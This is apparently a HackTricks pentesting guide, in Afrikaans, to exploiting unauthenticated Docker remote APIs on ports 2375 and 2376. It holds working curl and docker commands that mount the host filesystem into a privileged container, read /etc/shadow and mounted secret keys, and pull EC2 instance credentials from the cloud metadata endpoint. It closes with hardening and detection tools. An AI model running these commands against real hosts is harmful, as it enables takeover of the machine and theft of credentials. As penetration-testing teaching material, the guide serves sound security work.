2375, 2376 Pentesting Docker
Reading time: 15 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Docker Basiese
Wat is
Docker is die voorste platform in die houeriser wat deurlopende innovasie aanvoer. Dit fasiliteer die moeiteloze skepping en verspreiding van toepassings, wat strek van tradisioneel tot futuristies, en verseker hul veilige ontplooiing oor verskeie omgewings.
Basiese docker argitektuur
- containerd: Dit is 'n kern runtime vir houers, verantwoordelik vir die omvattende bestuur van 'n houer se lewensiklus. Dit behels die hantering van beeld oordrag en berging, benewens die toesig oor die uitvoering, monitering, en netwerk van houers. Meer gedetailleerde insigte oor containerd word verder ondersoek.
- Die container-shim speel 'n kritieke rol as 'n tussenpersoon in die hantering van headless houers, wat naatloos oorgeneem word van runc nadat die houers geĂŻnitialiseer is.
- runc: Geagter vir sy liggewig en universele houer runtime vermoëns, is runc in lyn met die OCI standaard. Dit word deur containerd gebruik om houers te begin en te bestuur volgens die OCI riglyne, en het ontwikkel uit die oorspronklike libcontainer.
- grpc is noodsaaklik vir die fasilitering van kommunikasie tussen containerd en die docker-engine, wat doeltreffende interaksie verseker.
- Die OCI is van kardinale belang om die OCI spesifikasies vir runtime en beelde te handhaaf, met die nuutste Docker weergawes wat in ooreenstemming is met beide die OCI beeld en runtime standaarde.
Basiese opdragte
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
Containerd
Containerd is spesifiek ontwikkel om die behoeftes van houerplatforms soos Docker en Kubernetes, onder andere, te dien. Dit het ten doel om die uitvoering van houers oor verskeie bedryfstelsels, insluitend Linux, Windows, Solaris, en meer, te vereenvoudig deur bedryfstelsel-spesifieke funksionaliteit en stelselaanroepe te abstraheer. Die doel van Containerd is om slegs die noodsaaklike kenmerke wat deur sy gebruikers vereis word, in te sluit, en streef daarna om onnodige komponente te omseil. Dit word egter erken dat dit uitdagend is om hierdie doel heeltemal te bereik.
'n Sleutelontwerpbesluit is dat Containerd nie netwerkbestuur hanteer nie. Netwerk is 'n kritieke element in verspreide stelsels, met kompleksiteite soos Software Defined Networking (SDN) en diensontdekking wat aansienlik van een platform na 'n ander verskil. Daarom laat Containerd netwerkaspekte oor aan die platforms wat dit ondersteun.
Terwyl Docker Containerd gebruik om houers te laat loop, is dit belangrik om te noem dat Containerd slegs 'n substel van Docker se funksies ondersteun. Spesifiek, Containerd ontbreek die netwerkbestuursvermoëns wat in Docker teenwoordig is en ondersteun nie die skepping van Docker swerms direk nie. Hierdie onderskeid beklemtoon Containerd se gefokusde rol as 'n houer-uitvoeringsomgewing, wat meer gespesialiseerde funksies aan die platforms wat dit integreer, delegeer.
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
Podman
Podman is 'n oopbron houer-enjin wat voldoen aan die Open Container Initiative (OCI) standaarde, ontwikkel en onderhou deur Red Hat. Dit onderskei hom van Docker met verskeie kenmerkende eienskappe, veral sy daemonless argitektuur en ondersteuning vir rootless containers, wat gebruikers in staat stel om houers sonder rootregte te laat loop.
Podman is ontwerp om versoenbaar te wees met Docker se API, wat die gebruik van Docker CLI-opdragte moontlik maak. Hierdie versoenbaarheid strek tot sy ekosisteem, wat gereedskap soos Buildah vir die bou van houerbeelde en Skopeo vir beeldoperasies soos push, pull, en inspect insluit. Meer besonderhede oor hierdie gereedskap kan op hul GitHub-bladsy gevind word.
Belangrike Verskille
- Argitektuur: Anders as Docker se kliënt-bediener model met 'n agtergrond daemon, werk Podman sonder 'n daemon. Hierdie ontwerp beteken dat houers loop met die regte van die gebruiker wat hulle begin, wat sekuriteit verbeter deur die behoefte aan roottoegang te elimineer.
- Systemd Integrasie: Podman integreer met systemd om houers te bestuur, wat houerbestuur deur systemd-eenhede moontlik maak. Dit staan in teenstelling met Docker se gebruik van systemd hoofsaaklik vir die bestuur van die Docker daemon-proses.
- Rootless Containers: 'n Belangrike kenmerk van Podman is sy vermoë om houers onder die inisieerder se regte te laat loop. Hierdie benadering minimaliseer die risiko's wat met houerbreuke geassosieer word deur te verseker dat aanvallers slegs die gecompromitteerde gebruiker se regte verkry, nie roottoegang nie.
Podman se benadering bied 'n veilige en buigsame alternatief vir Docker, met die klem op gebruikersregtebestuur en versoenbaarheid met bestaande Docker-werkvloei.
note
Let daarop dat aangesien podman daarop gemik is om dieselfde API as docker te ondersteun, kan jy dieselfde opdragte met podman gebruik as met docker soos:
podman --version
podman info
pdoman images ls
podman ls
Basiese Inligting
AfgeleĂ« API loop standaard op poort 2375 wanneer geaktiveer. Die diens sal standaard nie verifikasie vereis nie, wat 'n aanvaller in staat stel om 'n bevoorregte docker-houer te begin. Deur die AfgeleĂ« API kan 'n mens gashere / (root-gids) aan die houer koppel en lĂȘers van die gasheer se omgewing lees/schryf.
Standaard poort: 2375
PORT STATE SERVICE
2375/tcp open docker
Opname
Handmatig
Let daarop dat jy die docker API kan opneem deur die docker
opdrag of curl
te gebruik soos in die volgende voorbeeld:
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
As jy die afgeleë docker API met die docker
opdrag kan kontak, kan jy enige van die docker opdragte wat voorheen kommentaar gelewer is uitvoer om met die diens te kommunikeer.
note
Jy kan export DOCKER_HOST="tcp://localhost:2375"
en vermy om die -H
parameter met die docker opdrag te gebruik
Vinige privilige eskalasie
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
Curl
Soms sal jy 2376 sien vir die TLS eindpunt. Ek kon nie daarmee verbind met die docker kliënt nie, maar dit is moontlik om dit met curl te doen.
#List containers
curl âinsecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl âinsecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl âinsecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl âinsecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s âinsecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl âinsecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl âinsecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl âinsecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, itâs also worth checking out services in case they are adding secrets via environment variables)
curl -s âinsecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl âinsecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl âinsecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl âinsecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl âinsecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl âinsecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl âinsecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
As jy meer inligting oor hierdie onderwerp wil hĂȘ, is meer inligting beskikbaar waar ek die opdragte van gekopieer het: https://securityboulevard.com/2019/02/abusing-docker-api-socket/
Outomaties
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
Kompromittering
In die volgende bladsy kan jy maniere vind om uit 'n docker houer te ontsnap:
Deur dit te misbruik, is dit moontlik om uit 'n houer te ontsnap, jy kan 'n swak houer op die afstandmasjien laat loop, daaruit ontsnap, en die masjien kompromitteer:
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py
Privilege Escalation
As jy binne 'n gasheer is wat docker gebruik, kan jy hierdie inligting lees om te probeer om voorregte te verhoog.
Ontdekking van geheime in lopende Docker houers
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
Kontroleer env (omgewing veranderlike afdeling) vir geheime en jy mag vind:
- Wagwoorde.
- Ipâs.
- Poorte.
- Paaie.
- Ander⊠.
As jy 'n lĂȘer wil onttrek:
docker cp <docket_id>:/etc/<secret_01> <secret_01>
Beveiliging van jou Docker
Beveiliging van Docker installasie en gebruik
- Jy kan die hulpmiddel https://github.com/docker/docker-bench-security gebruik om jou huidige docker installasie te inspekteer.
./docker-bench-security.sh
- Jy kan die hulpmiddel https://github.com/kost/dockscan gebruik om jou huidige docker installasie te inspekteer.
dockscan -v unix:///var/run/docker.sock
- Jy kan die hulpmiddel https://github.com/genuinetools/amicontained gebruik om die voorregte wat 'n houer sal hĂȘ wanneer dit met verskillende sekuriteitsopsies uitgevoer word, te bepaal. Dit is nuttig om die implikasies van die gebruik van sekere sekuriteitsopsies om 'n houer te laat loop, te ken:
docker run --rm -it r.j3ss.co/amicontained
docker run --rm -it --pid host r.j3ss.co/amicontained
docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained
Beveiliging van Docker Beelde
- Jy kan 'n docker beeld van https://github.com/quay/clair gebruik om dit jou ander docker beelde te laat skandeer en kwesbaarhede te vind.
docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"
clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image
Beveiliging van Dockerfiles
- Jy kan die hulpmiddel https://github.com/buddy-works/dockerfile-linter gebruik om jou Dockerfile te inspekteer en alle soorte miskonfigurasies te vind. Elke miskonfigurasie sal 'n ID ontvang, jy kan hier vind https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md hoe om elkeen daarvan reg te stel.
dockerfilelinter -f Dockerfile
- Jy kan die hulpmiddel https://github.com/replicatedhq/dockerfilelint gebruik om jou Dockerfile te inspekteer en alle soorte miskonfigurasies te vind.
dockerfilelint Dockerfile
- Jy kan die hulpmiddel https://github.com/RedCoolBeans/dockerlint gebruik om jou Dockerfile te inspekteer en alle soorte miskonfigurasies te vind.
dockerlint Dockerfile
- Jy kan die hulpmiddel https://github.com/hadolint/hadolint gebruik om jou Dockerfile te inspekteer en alle soorte miskonfigurasies te vind.
hadolint Dockerfile
Teken van Verdagte aktiwiteit
- Jy kan die hulpmiddel https://github.com/falcosecurity/falco gebruik om verdagte gedrag in lopende houers te detecteer.
- Let op in die volgende stuk hoe Falco 'n kernmodule saamstel en dit invoeg. Daarna laai dit die reëls en begin om verdagte aktiwiteite te teken. In hierdie geval het dit 2 voorregte houers opgespoor wat begin is, 1 daarvan met 'n sensitiewe monteer, en na 'n paar sekondes het dit opgemerk hoe 'n skulp binne een van die houers geopen is.
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
Monitering Docker
Jy kan auditd gebruik om docker te moniter.
Verwysings
- https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html
- https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.